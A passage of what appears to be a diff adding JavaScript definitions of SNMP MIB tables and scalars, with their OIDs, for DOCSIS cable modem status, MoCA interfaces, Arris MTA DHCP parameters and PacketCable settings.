Table("docsIf3CmStatusUsTable", "1.3.6.1.4.1.4491.2.1.20.1.2"); +docsIf3CmStatusUsTable.TxPower = new Column("docsIf3CmStatusUsTxPower","1.3.6.1.4.1.4491.2.1.20.1.2.1.1",2); + +var docsIf3CmStatusTable = new Table("docsIf3CmStatusTable", "1.3.6.1.4.1.4491.2.1.20.1.1"); +docsIf3CmStatusTable.docsIf3CmStatusValue = new Column("docsIf3CmStatusValue","1.3.6.1.4.1.4491.2.1.20.1.1.1.1",2); +var ardocsIf3CmStatusValue=docsIf3CmStatusTable.docsIf3CmStatusValue; + + +// no need to load trigger +MibObjects.loaded = true; + + +// +// MoCA +// + + +var mocaIfConfigTable = new Table("mocaIfConfigTable", "1.3.6.1.4.1.31621.1.1.1.1"); +mocaIfConfigTable.mocaIfEnable = new Column("mocaIfEnable", "1.3.6.1.4.1.31621.1.1.1.1.1.1", 2); +mocaIfConfigTable.mocaIfChannelMask = new Column("mocaIfChannelMask", "1.3.6.1.4.1.31621.1.1.1.1.1.2", 66); +mocaIfConfigTable.mocaIfPowerControl = new Column("mocaIfPowerControl", "1.3.6.1.4.1.31621.1.1.1.1.1.3", 2); +mocaIfConfigTable.mocaIfTxPowerLimit = new Column("mocaIfTxPowerLimit", "1.3.6.1.4.1.31621.1.1.1.1.1.4", 66); +mocaIfConfigTable.mocaIfBeaconPowerLimit = new Column("mocaIfBeaconPowerLimit", "1.3.6.1.4.1.31621.1.1.1.1.1.5", 66); +mocaIfConfigTable.mocaIfPowerControlTargetRate = new Column("mocaIfPowerControlTargetRate", "1.3.6.1.4.1.31621.1.1.1.1.1.6", 66); +mocaIfConfigTable.mocaIfPrivacyEnable = new Column("mocaIfPrivacyEnable", "1.3.6.1.4.1.31621.1.1.1.1.1.7", 2); +mocaIfConfigTable.mocaIfPassword = new Column("mocaIfPassword", "1.3.6.1.4.1.31621.1.1.1.1.1.8", 4); +mocaIfConfigTable.mocaIfPreferredNC = new Column("mocaIfPreferredNC", "1.3.6.1.4.1.31621.1.1.1.1.1.9", 2); +mocaIfConfigTable.mocaIfAccessEnable = new Column("mocaIfAccessEnable", "1.3.6.1.4.1.31621.1.1.1.1.1.10", 2); +mocaIfConfigTable.mocaIfPhyThreshold = new Column("mocaIfPhyThreshold", "1.3.6.1.4.1.31621.1.1.1.1.1.11", 66); +mocaIfConfigTable.mocaIfPhyThresholdEnable = new Column("mocaIfPhyThresholdEnable", "1.3.6.1.4.1.31621.1.1.1.1.1.12", 2); +mocaIfConfigTable.mocaIfStatusChangeEnable = new Column("mocaIfStatusChangeEnable", "1.3.6.1.4.1.31621.1.1.1.1.1.13", 2); +mocaIfConfigTable.mocaIfNumNodesChangeEnable = new Column("mocaIfNumNodesChangeEnable", "1.3.6.1.4.1.31621.1.1.1.1.1.14", 2); +var mocaIfEnable = mocaIfConfigTable.mocaIfEnable; +var mocaIfChannelMask = mocaIfConfigTable.mocaIfChannelMask; +var mocaIfPowerControl = mocaIfConfigTable.mocaIfPowerControl; +var mocaIfTxPowerLimit = mocaIfConfigTable.mocaIfTxPowerLimit; +var mocaIfBeaconPowerLimit = mocaIfConfigTable.mocaIfBeaconPowerLimit; +var mocaIfPowerControlTargetRate = mocaIfConfigTable.mocaIfPowerControlTargetRate; +var mocaIfPrivacyEnable = mocaIfConfigTable.mocaIfPrivacyEnable; +var mocaIfPassword = mocaIfConfigTable.mocaIfPassword; +var mocaIfPreferredNC = mocaIfConfigTable.mocaIfPreferredNC; +var mocaIfAccessEnable = mocaIfConfigTable.mocaIfAccessEnable; +var mocaIfPhyThreshold = mocaIfConfigTable.mocaIfPhyThreshold; +var mocaIfPhyThresholdEnable = mocaIfConfigTable.mocaIfPhyThresholdEnable; +var mocaIfStatusChangeEnable = mocaIfConfigTable.mocaIfStatusChangeEnable; +var mocaIfNumNodesChangeEnable = mocaIfConfigTable.mocaIfNumNodesChangeEnable; + +var mocaIfAccessTable = new Table("mocaIfAccessTable", "1.3.6.1.4.1.31621.1.1.1.2"); +mocaIfAccessTable.mocaIfAccessIndex = new Column("mocaIfAccessIndex", "1.3.6.1.4.1.31621.1.1.1.2.1.1", 2); +mocaIfAccessTable.mocaIfAccessMacAddress = new Column("mocaIfAccessMacAddress", "1.3.6.1.4.1.31621.1.1.1.2.1.2", 4,1); +mocaIfAccessTable.mocaIfAccessStatus = new Column("mocaIfAccessStatus", "1.3.6.1.4.1.31621.1.1.1.2.1.3", 2); +var mocaIfAccessIndex = mocaIfAccessTable.mocaIfAccessIndex; +var mocaIfAccessMacAddress = mocaIfAccessTable.mocaIfAccessMacAddress; +var mocaIfAccessStatus = mocaIfAccessTable.mocaIfAccessStatus; + +var mocaIfStatusTable = new Table("mocaIfStatusTable", "1.3.6.1.4.1.31621.1.1.1.3"); +mocaIfStatusTable.mocaIfStatus = new Column("mocaIfStatus", "1.3.6.1.4.1.31621.1.1.1.3.1.1", 2); +mocaIfStatusTable.mocaIfLinkUpTime = new Column("mocaIfLinkUpTime", "1.3.6.1.4.1.31621.1.1.1.3.1.2", 66); +mocaIfStatusTable.mocaIfSoftwareVersion = new Column("mocaIfSoftwareVersion", "1.3.6.1.4.1.31621.1.1.1.3.1.3", 4); +mocaIfStatusTable.mocaIfMocaVersion = new Column("mocaIfMocaVersion", "1.3.6.1.4.1.31621.1.1.1.3.1.4", 2); +mocaIfStatusTable.mocaIfNetworkVersion = new Column("mocaIfNetworkVersion", "1.3.6.1.4.1.31621.1.1.1.3.1.5", 2); +mocaIfStatusTable.mocaIfMacAddress = new Column("mocaIfMacAddress", "1.3.6.1.4.1.31621.1.1.1.3.1.6", 4,1); +mocaIfStatusTable.mocaIfNodeID = new Column("mocaIfNodeID", "1.3.6.1.4.1.31621.1.1.1.3.1.7", 66); +mocaIfStatusTable.mocaIfName = new Column("mocaIfName", "1.3.6.1.4.1.31621.1.1.1.3.1.8", 4); +mocaIfStatusTable.mocaIfNumNodes = new Column("mocaIfNumNodes", "1.3.6.1.4.1.31621.1.1.1.3.1.9", 66); +mocaIfStatusTable.mocaIfNC = new Column("mocaIfNC", "1.3.6.1.4.1.31621.1.1.1.3.1.10", 66); +mocaIfStatusTable.mocaIfBackupNC = new Column("mocaIfBackupNC", "1.3.6.1.4.1.31621.1.1.1.3.1.11", 66); +mocaIfStatusTable.mocaIfRFChannel = new Column("mocaIfRFChannel", "1.3.6.1.4.1.31621.1.1.1.3.1.12", 2); +mocaIfStatusTable.mocaIfLOF = new Column("mocaIfLOF", "1.3.6.1.4.1.31621.1.1.1.3.1.13", 2); +mocaIfStatusTable.mocaIfTabooChannelMask = new Column("mocaIfTabooChannelMask", "1.3.6.1.4.1.31621.1.1.1.3.1.14", 66); +mocaIfStatusTable.mocaIfNodeTabooChannelMask = new Column("mocaIfNodeTabooChannelMask", "1.3.6.1.4.1.31621.1.1.1.3.1.15", 66); +mocaIfStatusTable.mocaIfCapabilityMask = new Column("mocaIfCapabilityMask", "1.3.6.1.4.1.31621.1.1.1.3.1.16", 66); +mocaIfStatusTable.mocaIfTxGcdPowerReduction = new Column("mocaIfTxGcdPowerReduction", "1.3.6.1.4.1.31621.1.1.1.3.1.17", 66); +mocaIfStatusTable.mocaIfQAM256Capable = new Column("mocaIfQAM256Capable", "1.3.6.1.4.1.31621.1.1.1.3.1.18", 2); +mocaIfStatusTable.mocaIfPacketsAggrCapability = new Column("mocaIfPacketsAggrCapability", "1.3.6.1.4.1.31621.1.1.1.3.1.19", 2); +mocaIfStatusTable.mocaIfMaxIngressNodeBw = new Column("mocaIfMaxIngressNodeBw", "1.3.6.1.4.1.31621.1.1.1.3.1.20", 66); +mocaIfStatusTable.mocaIfMaxEgressNodeBw = new Column("mocaIfMaxEgressNodeBw", "1.3.6.1.4.1.31621.1.1.1.3.1.21", 66); +mocaIfStatusTable.mocaIfTxGcdRate = new Column("mocaIfTxGcdRate", "1.3.6.1.4.1.31621.1.1.1.3.1.22", 66); +var mocaIfStatus = mocaIfStatusTable.mocaIfStatus; +var mocaIfLinkUpTime = mocaIfStatusTable.mocaIfLinkUpTime; +var mocaIfSoftwareVersion = mocaIfStatusTable.mocaIfSoftwareVersion; +var mocaIfMocaVersion = mocaIfStatusTable.mocaIfMocaVersion; +var mocaIfNetworkVersion = mocaIfStatusTable.mocaIfNetworkVersion; +var mocaIfMacAddress = mocaIfStatusTable.mocaIfMacAddress; +var mocaIfNodeID = mocaIfStatusTable.mocaIfNodeID; +var mocaIfName = mocaIfStatusTable.mocaIfName; +var mocaIfNumNodes = mocaIfStatusTable.mocaIfNumNodes; +var mocaIfNC = mocaIfStatusTable.mocaIfNC; +var mocaIfBackupNC = mocaIfStatusTable.mocaIfBackupNC; +var mocaIfRFChannel = mocaIfStatusTable.mocaIfRFChannel; +var mocaIfLOF = mocaIfStatusTable.mocaIfLOF; +var mocaIfTabooChannelMask = mocaIfStatusTable.mocaIfTabooChannelMask; +var mocaIfNodeTabooChannelMask = mocaIfStatusTable.mocaIfNodeTabooChannelMask; +var mocaIfCapabilityMask = mocaIfStatusTable.mocaIfCapabilityMask; +var mocaIfTxGcdPowerReduction = mocaIfStatusTable.mocaIfTxGcdPowerReduction; +var mocaIfQAM256Capable = mocaIfStatusTable.mocaIfQAM256Capable; +var mocaIfPacketsAggrCapability = mocaIfStatusTable.mocaIfPacketsAggrCapability; +var mocaIfMaxIngressNodeBw = mocaIfStatusTable.mocaIfMaxIngressNodeBw; +var mocaIfMaxEgressNodeBw = mocaIfStatusTable.mocaIfMaxEgressNodeBw; +var mocaIfTxGcdRate = mocaIfStatusTable.mocaIfTxGcdRate; + +var mocaIfStatsTable = new Table("mocaIfStatsTable", "1.3.6.1.4.1.31621.1.1.1.4"); +mocaIfStatsTable.mocaIfTxPackets = new Column("mocaIfTxPackets", "1.3.6.1.4.1.31621.1.1.1.4.1.1", 65); +mocaIfStatsTable.mocaIfTxDrops = new Column("mocaIfTxDrops", "1.3.6.1.4.1.31621.1.1.1.4.1.2", 65); +mocaIfStatsTable.mocaIfRxPackets = new Column("mocaIfRxPackets", "1.3.6.1.4.1.31621.1.1.1.4.1.3", 65); +mocaIfStatsTable.mocaIfRxCorrectedErrors = new Column("mocaIfRxCorrectedErrors", "1.3.6.1.4.1.31621.1.1.1.4.1.4", 65); +mocaIfStatsTable.mocaIfRxDrops = new Column("mocaIfRxDrops", "1.3.6.1.4.1.31621.1.1.1.4.1.5", 65); +mocaIfStatsTable.mocaIfEgressNodeNumFlows = new Column("mocaIfEgressNodeNumFlows", "1.3.6.1.4.1.31621.1.1.1.4.1.6", 66); +mocaIfStatsTable.mocaIfIngressNodeNumFlows = new Column("mocaIfIngressNodeNumFlows", "1.3.6.1.4.1.31621.1.1.1.4.1.7", 66); +var mocaIfTxPackets = mocaIfStatsTable.mocaIfTxPackets; +var mocaIfTxDrops = mocaIfStatsTable.mocaIfTxDrops; +var mocaIfRxPackets = mocaIfStatsTable.mocaIfRxPackets; +var mocaIfRxCorrectedErrors = mocaIfStatsTable.mocaIfRxCorrectedErrors; +var mocaIfRxDrops = mocaIfStatsTable.mocaIfRxDrops; +var mocaIfEgressNodeNumFlows = mocaIfStatsTable.mocaIfEgressNodeNumFlows; +var mocaIfIngressNodeNumFlows = mocaIfStatsTable.mocaIfIngressNodeNumFlows; + +var mocaIfFlowStatsTable = new Table("mocaIfFlowStatsTable", "1.3.6.1.4.1.31621.1.1.1.5"); +mocaIfFlowStatsTable.mocaIfFlowIndex = new Column("mocaIfFlowIndex", "1.3.6.1.4.1.31621.1.1.1.5.1.1", 2); +mocaIfFlowStatsTable.mocaIfFlowID = new Column("mocaIfFlowID", "1.3.6.1.4.1.31621.1.1.1.5.1.2", 4); +mocaIfFlowStatsTable.mocaIfPacketDA = new Column("mocaIfPacketDA", "1.3.6.1.4.1.31621.1.1.1.5.1.3", 4,1); +mocaIfFlowStatsTable.mocaIfPeakDataRate = new Column("mocaIfPeakDataRate", "1.3.6.1.4.1.31621.1.1.1.5.1.4", 66); +mocaIfFlowStatsTable.mocaIfBurstSize = new Column("mocaIfBurstSize", "1.3.6.1.4.1.31621.1.1.1.5.1.5", 66); +mocaIfFlowStatsTable.mocaIfLeaseTime = new Column("mocaIfLeaseTime", "1.3.6.1.4.1.31621.1.1.1.5.1.6", 66); +mocaIfFlowStatsTable.mocaIfFlowTag = new Column("mocaIfFlowTag", "1.3.6.1.4.1.31621.1.1.1.5.1.7", 66); +mocaIfFlowStatsTable.mocaIfLeaseTimeLeft = new Column("mocaIfLeaseTimeLeft", "1.3.6.1.4.1.31621.1.1.1.5.1.8", 66); +mocaIfFlowStatsTable.mocaIfTxPacketsOnePacketAggr = new Column("mocaIfTxPacketsOnePacketAggr", "1.3.6.1.4.1.31621.1.1.1.5.1.9", 65); +mocaIfFlowStatsTable.mocaIfTxPacketsTwoPacketsAggr = new Column("mocaIfTxPacketsTwoPacketsAggr", "1.3.6.1.4.1.31621.1.1.1.5.1.10", 65); +mocaIfFlowStatsTable.mocaIfTxPacketsThreePacketsAggr = new Column("mocaIfTxPacketsThreePacketsAggr", "1.3.6.1.4.1.31621.1.1.1.5.1.11", 65); +mocaIfFlowStatsTable.mocaIfTxPacketsFourPacketsAggr = new Column("mocaIfTxPacketsFourPacketsAggr", "1.3.6.1.4.1.31621.1.1.1.5.1.12", 65); +mocaIfFlowStatsTable.mocaIfTxPacketsFivePacketsAggr = new Column("mocaIfTxPacketsFivePacketsAggr", "1.3.6.1.4.1.31621.1.1.1.5.1.13", 65); +mocaIfFlowStatsTable.mocaIfTxPacketsSixPacketsAggr = new Column("mocaIfTxPacketsSixPacketsAggr", "1.3.6.1.4.1.31621.1.1.1.5.1.14", 65); +mocaIfFlowStatsTable.mocaIfTxPacketsSevenPacketsAggr = new Column("mocaIfTxPacketsSevenPacketsAggr", "1.3.6.1.4.1.31621.1.1.1.5.1.15", 65); +mocaIfFlowStatsTable.mocaIfTxPacketsEightPacketsAggr = new Column("mocaIfTxPacketsEightPacketsAggr", "1.3.6.1.4.1.31621.1.1.1.5.1.16", 65); +mocaIfFlowStatsTable.mocaIfTxPacketsNinePacketsAggr = new Column("mocaIfTxPacketsNinePacketsAggr", "1.3.6.1.4.1.31621.1.1.1.5.1.17", 65); +mocaIfFlowStatsTable.mocaIfTxPacketsTenPacketsAggr = new Column("mocaIfTxPacketsTenPacketsAggr", "1.3.6.1.4.1.31621.1.1.1.5.1.18", 65); +mocaIfFlowStatsTable.mocaIfTxPacketsFlow = new Column("mocaIfTxPacketsFlow", "1.3.6.1.4.1.31621.1.1.1.5.1.19", 66); +var mocaIfFlowIndex = mocaIfFlowStatsTable.mocaIfFlowIndex; +var mocaIfFlowID = mocaIfFlowStatsTable.mocaIfFlowID; +var mocaIfPacketDA = mocaIfFlowStatsTable.mocaIfPacketDA; +var mocaIfPeakDataRate = mocaIfFlowStatsTable.mocaIfPeakDataRate; +var mocaIfBurstSize = mocaIfFlowStatsTable.mocaIfBurstSize; +var mocaIfLeaseTime = mocaIfFlowStatsTable.mocaIfLeaseTime; +var mocaIfFlowTag = mocaIfFlowStatsTable.mocaIfFlowTag; +var mocaIfLeaseTimeLeft = mocaIfFlowStatsTable.mocaIfLeaseTimeLeft; +var mocaIfTxPacketsOnePacketAggr = mocaIfFlowStatsTable.mocaIfTxPacketsOnePacketAggr; +var mocaIfTxPacketsTwoPacketsAggr = mocaIfFlowStatsTable.mocaIfTxPacketsTwoPacketsAggr; +var mocaIfTxPacketsThreePacketsAggr = mocaIfFlowStatsTable.mocaIfTxPacketsThreePacketsAggr; +var mocaIfTxPacketsFourPacketsAggr = mocaIfFlowStatsTable.mocaIfTxPacketsFourPacketsAggr; +var mocaIfTxPacketsFivePacketsAggr = mocaIfFlowStatsTable.mocaIfTxPacketsFivePacketsAggr; +var mocaIfTxPacketsSixPacketsAggr = mocaIfFlowStatsTable.mocaIfTxPacketsSixPacketsAggr; +var mocaIfTxPacketsSevenPacketsAggr = mocaIfFlowStatsTable.mocaIfTxPacketsSevenPacketsAggr; +var mocaIfTxPacketsEightPacketsAggr = mocaIfFlowStatsTable.mocaIfTxPacketsEightPacketsAggr; +var mocaIfTxPacketsNinePacketsAggr = mocaIfFlowStatsTable.mocaIfTxPacketsNinePacketsAggr; +var mocaIfTxPacketsTenPacketsAggr = mocaIfFlowStatsTable.mocaIfTxPacketsTenPacketsAggr; +var mocaIfTxPacketsFlow = mocaIfFlowStatsTable.mocaIfTxPacketsFlow; + +var mocaNodeTable = new Table("mocaNodeTable", "1.3.6.1.4.1.31621.1.1.1.6"); +mocaNodeTable.mocaNodeIndex = new Column("mocaNodeIndex", "1.3.6.1.4.1.31621.1.1.1.6.1.1", 66); +mocaNodeTable.mocaNodeMocaVersion = new Column("mocaNodeMocaVersion", "1.3.6.1.4.1.31621.1.1.1.6.1.2", 2); +mocaNodeTable.mocaNodeMacAddress = new Column("mocaNodeMacAddress", "1.3.6.1.4.1.31621.1.1.1.6.1.3", 4,1); +mocaNodeTable.mocaNodeTxGcdRate = new Column("mocaNodeTxGcdRate", "1.3.6.1.4.1.31621.1.1.1.6.1.4", 66); +mocaNodeTable.mocaNodeRxGcdPower = new Column("mocaNodeRxGcdPower", "1.3.6.1.4.1.31621.1.1.1.6.1.5", 2); +mocaNodeTable.mocaNodeTxPowerReduction = new Column("mocaNodeTxPowerReduction", "1.3.6.1.4.1.31621.1.1.1.6.1.6", 66); +mocaNodeTable.mocaNodeRxPower = new Column("mocaNodeRxPower", "1.3.6.1.4.1.31621.1.1.1.6.1.7", 2); +mocaNodeTable.mocaNodePreferredNC = new Column("mocaNodePreferredNC", "1.3.6.1.4.1.31621.1.1.1.6.1.8", 2); +mocaNodeTable.mocaNodeQAM256Capable = new Column("mocaNodeQAM256Capable", "1.3.6.1.4.1.31621.1.1.1.6.1.9", 2); +mocaNodeTable.mocaNodePacketsAggrCapability = new Column("mocaNodePacketsAggrCapability", "1.3.6.1.4.1.31621.1.1.1.6.1.10", 2); +mocaNodeTable.mocaNodeRxPackets = new Column("mocaNodeRxPackets", "1.3.6.1.4.1.31621.1.1.1.6.1.11", 65); +mocaNodeTable.mocaNodeRxCorrected = new Column("mocaNodeRxCorrected", "1.3.6.1.4.1.31621.1.1.1.6.1.12", 65); +mocaNodeTable.mocaNodeRxDrops = new Column("mocaNodeRxDrops", "1.3.6.1.4.1.31621.1.1.1.6.1.13", 65); +mocaNodeTable.mocaNodeSNR = new Column("mocaNodeSNR", "1.3.6.1.4.1.31621.1.1.1.6.1.14", 66); +var mocaNodeIndex = mocaNodeTable.mocaNodeIndex; +var mocaNodeMocaVersion = mocaNodeTable.mocaNodeMocaVersion; +var mocaNodeMacAddress = mocaNodeTable.mocaNodeMacAddress; +var mocaNodeTxGcdRate = mocaNodeTable.mocaNodeTxGcdRate; +var mocaNodeRxGcdPower = mocaNodeTable.mocaNodeRxGcdPower; +var mocaNodeTxPowerReduction = mocaNodeTable.mocaNodeTxPowerReduction; +var mocaNodeRxPower = mocaNodeTable.mocaNodeRxPower; +var mocaNodePreferredNC = mocaNodeTable.mocaNodePreferredNC; +var mocaNodeQAM256Capable = mocaNodeTable.mocaNodeQAM256Capable; +var mocaNodePacketsAggrCapability = mocaNodeTable.mocaNodePacketsAggrCapability; +var mocaNodeRxPackets = mocaNodeTable.mocaNodeRxPackets; +var mocaNodeRxCorrected = mocaNodeTable.mocaNodeRxCorrected; +var mocaNodeRxDrops = mocaNodeTable.mocaNodeRxDrops; +var mocaNodeSNR = mocaNodeTable.mocaNodeSNR; + +var mocaMeshTable = new Table("mocaMeshTable", "1.3.6.1.4.1.31621.1.1.1.7"); +mocaMeshTable.mocaMeshTxNodeIndex = new Column("mocaMeshTxNodeIndex", "1.3.6.1.4.1.31621.1.1.1.7.1.1", 66); +mocaMeshTable.mocaMeshRxNodeIndex = new Column("mocaMeshRxNodeIndex", "1.3.6.1.4.1.31621.1.1.1.7.1.2", 66); +mocaMeshTable.mocaMeshTxRate = new Column("mocaMeshTxRate", "1.3.6.1.4.1.31621.1.1.1.7.1.3", 66); +var mocaMeshTxNodeIndex = mocaMeshTable.mocaMeshTxNodeIndex; +var mocaMeshRxNodeIndex = mocaMeshTable.mocaMeshRxNodeIndex; +var mocaMeshTxRate = mocaMeshTable.mocaMeshTxRate; + +var mocaBridgeTable = new Table("mocaBridgeTable", "1.3.6.1.4.1.31621.1.1.1.8"); +mocaBridgeTable.mocaBridgeNodeIndex = new Column("mocaBridgeNodeIndex", "1.3.6.1.4.1.31621.1.1.1.8.1.1", 66); +mocaBridgeTable.mocaBridgeMacIndex = new Column("mocaBridgeMacIndex", "1.3.6.1.4.1.31621.1.1.1.8.1.2", 2); +mocaBridgeTable.mocaBridgeMacAddress = new Column("mocaBridgeMacAddress", "1.3.6.1.4.1.31621.1.1.1.8.1.3", 4,1); +var mocaBridgeNodeIndex = mocaBridgeTable.mocaBridgeNodeIndex; +var mocaBridgeMacIndex = mocaBridgeTable.mocaBridgeMacIndex; +var mocaBridgeMacAddress = mocaBridgeTable.mocaBridgeMacAddress; + + +var arrisMtaDevLineCardTable = new Table("arrisMtaDevLineCardTable", "1.3.6.1.4.1.4115.1.3.3.1.4.1"); +arrisMtaDevLineCardTable.LineNumber = new Column("arrisMtaDevLineCardLineNumber","1.3.6.1.4.1.4115.1.3.3.1.4.1.1.1",2); +arrisMtaDevLineCardTable.State = new Column("arrisMtaDevLineCardState","1.3.6.1.4.1.4115.1.3.3.1.4.1.1.2",2); +var arrisMtaDevLineCardLineNumber=arrisMtaDevLineCardTable.LineNumber; +var arrisMtaDevLineCardState=arrisMtaDevLineCardTable.State; + + +var arrisMtaDevDhcpMtaParameters = new Container("arrisMtaDevDhcpMtaParameters", "1.3.6.1.4.1.4115.1.3.3.1.1.2.1"); +arrisMtaDevDhcpMtaParameters.MtaIpFQDN = new Scalar("arrisMtaDevDhcpMtaIpFQDN","1.3.6.1.4.1.4115.1.3.3.1.1.2.1.1",4); +arrisMtaDevDhcpMtaParameters.MtaIpAddr = new Scalar("arrisMtaDevDhcpMtaIpAddr","1.3.6.1.4.1.4115.1.3.3.1.1.2.1.2",4,1); +arrisMtaDevDhcpMtaParameters.MtaSubNetMask = new Scalar("arrisMtaDevDhcpMtaSubNetMask","1.3.6.1.4.1.4115.1.3.3.1.1.2.1.3",4,1); +arrisMtaDevDhcpMtaParameters.MtaGatewayIpAddr = new Scalar("arrisMtaDevDhcpMtaGatewayIpAddr","1.3.6.1.4.1.4115.1.3.3.1.1.2.1.4",4,1); +arrisMtaDevDhcpMtaParameters.MtaConfigFile = new Scalar("arrisMtaDevDhcpMtaConfigFile","1.3.6.1.4.1.4115.1.3.3.1.1.2.1.5",4); +var arMtaDevDhcpMtaIpFQDN = arrisMtaDevDhcpMtaParameters.MtaIpFQDN; +var arMtaDevDhcpMtaIpAddr = arrisMtaDevDhcpMtaParameters.MtaIpAddr; +var arMtaDevDhcpMtaSubNetMask = arrisMtaDevDhcpMtaParameters.MtaSubNetMask; +var arMtaDevDhcpMtaGatewayIpAddr = arrisMtaDevDhcpMtaParameters.MtaGatewayIpAddr; +var arMtaDevDhcpMtaConfigFile = arrisMtaDevDhcpMtaParameters.MtaConfigFile; + + +var arrisMtaDevDhcpLeaseParameters = new Container("arrisMtaDevDhcpLeaseParameters", "1.3.6.1.4.1.4115.1.3.3.1.1.2.3"); +arrisMtaDevDhcpLeaseParameters.OfferedLeaseTime = new Scalar("arrisMtaDevDhcpOfferedLeaseTime","1.3.6.1.4.1.4115.1.3.3.1.1.2.3.1",4,1); +arrisMtaDevDhcpLeaseParameters.LeaseTimeRemaining = new Scalar("arrisMtaDevDhcpLeaseTimeRemaining","1.3.6.1.4.1.4115.1.3.3.1.1.2.3.2",4,1); +arrisMtaDevDhcpLeaseParameters.TimeUntilRenew = new Scalar("arrisMtaDevDhcpTimeUntilRenew","1.3.6.1.4.1.4115.1.3.3.1.1.2.3.3",4,1); +arrisMtaDevDhcpLeaseParameters.TimeUntilRebind = new Scalar("arrisMtaDevDhcpTimeUntilRebind","1.3.6.1.4.1.4115.1.3.3.1.1.2.3.4",4,1); +var arMtaDevDhcpOfferedLeaseTime = arrisMtaDevDhcpLeaseParameters.OfferedLeaseTime; +var arMtaDevDhcpLeaseTimeRemaining = arrisMtaDevDhcpLeaseParameters.LeaseTimeRemaining; +var arMtaDevDhcpTimeUntilRenew = arrisMtaDevDhcpLeaseParameters.TimeUntilRenew; +var arMtaDevDhcpTimeUntilRebind = arrisMtaDevDhcpLeaseParameters.TimeUntilRebind; + +var arrisMtaDevDhcpSvrParameters = new Container("arrisMtaDevDhcpSvrParameters", "1.3.6.1.4.1.4115.1.3.3.1.1.2.2"); +arrisMtaDevDhcpSvrParameters.PrimaryDNSSvrIpAddr = new Scalar("arrisMtaDevDhcpPrimaryDNSSvrIpAddr","1.3.6.1.4.1.4115.1.3.3.1.1.2.2.4",4,1); +arrisMtaDevDhcpSvrParameters.SecondaryDNSSvrIpAddr = new Scalar("arrisMtaDevDhcpSecondaryDNSSvrIpAddr","1.3.6.1.4.1.4115.1.3.3.1.1.2.2.5",4,1); +var arMtaDevDhcpPrimaryDNSSvrIpAddr = arrisMtaDevDhcpSvrParameters.PrimaryDNSSvrIpAddr; +var arMtaDevDhcpSecondaryDNSSvrIpAddr = arrisMtaDevDhcpSvrParameters.SecondaryDNSSvrIpAddr; + +var arrisMtaDevDhcpPktcOptParameters = new Container("arrisMtaDevDhcpPktcOptParameters", "1.3.6.1.4.1.4115.1.3.3.1.1.2.4"); +arrisMtaDevDhcpPktcOptParameters.SvcProviderSnmpEntity = new Scalar("arrisMtaDevDhcpSvcProviderSnmpEntity","1.3.6.1.4.1.4115.1.3.3.1.1.2.4.2",4,1); +arrisMtaDevDhcpPktcOptParameters.KerberosRealmFqdn = new Scalar("arrisMtaDevDhcpKerberosRealmFqdn","1.3.6.1.4.1.4115.1.3.3.1.1.2.4.3",4,1); +arrisMtaDevDhcpPktcOptParameters.RequestTgt = new Scalar("arrisMtaDevDhcpRequestTgt","1.3.6.1.4.1.4115.1.3.3.1.1.2.4.4",4); +arrisMtaDevDhcpPktcOptParameters.ProvTimer = new Scalar("arrisMtaDevDhcpProvTimer","1.3.6.1.4.1.4115.1.3.3.1.1.2.4.5",2); +var arMtaDevDhcpSvcProviderSnmpEntity = arrisMtaDevDhcpPktcOptParameters.SvcProviderSnmpEntity; +var arMtaDevDhcpKerberosRealmFqdn = arrisMtaDevDhcpPktcOptParameters.KerberosRealmFqdn; +var arMtaDevDhcpRequestTgt = arrisMtaDevDhcpPktcOptParameters.RequestTgt; +var arMtaDevDhcpProvTimer = arrisMtaDevDhcpPktcOptParameters.ProvTimer; + +var pktcMtaDevBase = new Container("pktcMtaDevBase", "1.3.6.1.4.1.4491.2.2.1.1.1"); +pktcMtaDevBase.Enabled = new Scalar("pktcMtaDevEnabled", "1.3.6.1.4.1.4491.2.2.1.1.1.7",2); +var pktcMtaDevEnabled = pktcMtaDevBase.Enabled; + +var pktcSigDevConfigObjects = new Container("pktcSigDevConfigObjects", "1.3.6.1.4.1.4491.2.2.2.1.1"); +pktcSigDevConfigObjects.DefCallSigTos = new Scalar("pktcSigDefCallSigTos", "1.3.6.1.4.1.4491.2.2.2.1.1.8",2); +pktcSigDevConfigObjects.DefMediaStreamTos = new Scalar("pktcSigDefMediaStreamTos", "1.3.6.1.4.1.4491.2.2.2.1.1.9",2); +var pktcSigDefCallSigTos = pktcSigDevConfigObjects.DefCallSigTos; +var pktcSigDefMediaStreamTos = pktcSigDevConfigObjects.DefMediaStreamTos; + +var pktcMtaDevRealmEntry = new Container("pktcMtaDevRealmEntry", "1.3.6.1.4.1.4491.2.2.1.1.3.16.1"); +pktcMtaDevRealmEntry.OrgName = new Scalar("pktcMtaDevRealmOrgName", "1.3.6.1.4.1.4491.2.2.1.1.3.16.1.4",4); +pktcMtaDevRealmEntry.PkinitGracePeriod = new Scalar("pktcMtaDevRealmPkinitGracePeriod ", "1.3.6.1.4.1.4491.2.2.1.1.3.16.1.2",2); +var pktcMtaDevRealmOrgName = pktcMtaDevRealmEntry.OrgName; +var pktcMtaDevRealmPkinitGracePeriod = pktcMtaDevRealmEntry.PkinitGracePeriod; + +var pktcMtaDevCmsEntry = new Container("pktcMtaDevCmsEntry", "1.3.6.1.4.1.4491.2.2.1.1.3.17.1"); +pktcMtaDevCmsEntry.KerbRealmName = new Scalar("pktcMtaDevCmsKerbRealmName", "1.3.6.1.4.1.4491.2.2.1.1.3.17.1.2",4); +pktcMtaDevCmsEntry.SolicitedKeyTimeout = new Scalar("pktcMtaDevCmsSolicitedKeyTimeout", "1.3.6.1.4.1.4491.2.2.1.1.3.17.1.4",2); +pktcMtaDevCmsEntry.IpsecCtrl = new Scalar("pktcMtaDevCmsIpsecCtrl", "1.3.6.1.4.1.4491.2.2.1.1.3.17.1.10",2); +var pktcMtaDevCmsKerbRealmName = pktcMtaDevCmsEntry.KerbRealmName; +var pktcMtaDevCmsSolicitedKeyTimeout = pktcMtaDevCmsEntry.SolicitedKeyTimeout; +var pktcMtaDevCmsIpsecCtrl = pktcMtaDevCmsEntry.IpsecCtrl; + +var pktcNcsEndPntConfigEntry = new Container("pktcNcsEndPntConfigEntry", "1.3.6.1.4.1.4491.2.2.2.1.2.1.1"); +pktcNcsEndPntConfigEntry.CallAgentId = new Scalar("pktcNcsEndPntConfigCallAgentId", "1.3.6.1.4.1.4491.2.2.2.1.2.1.1.1",4); +pktcNcsEndPntConfigEntry.CallAgentUdpPort = new Scalar("pktcNcsEndPntConfigCallAgentUdpPort", "1.3.6.1.4.1.4491.2.2.2.1.2.1.1.2",2); +pktcNcsEndPntConfigEntry.MWD = new Scalar("pktcNcsEndPntConfigMWD", 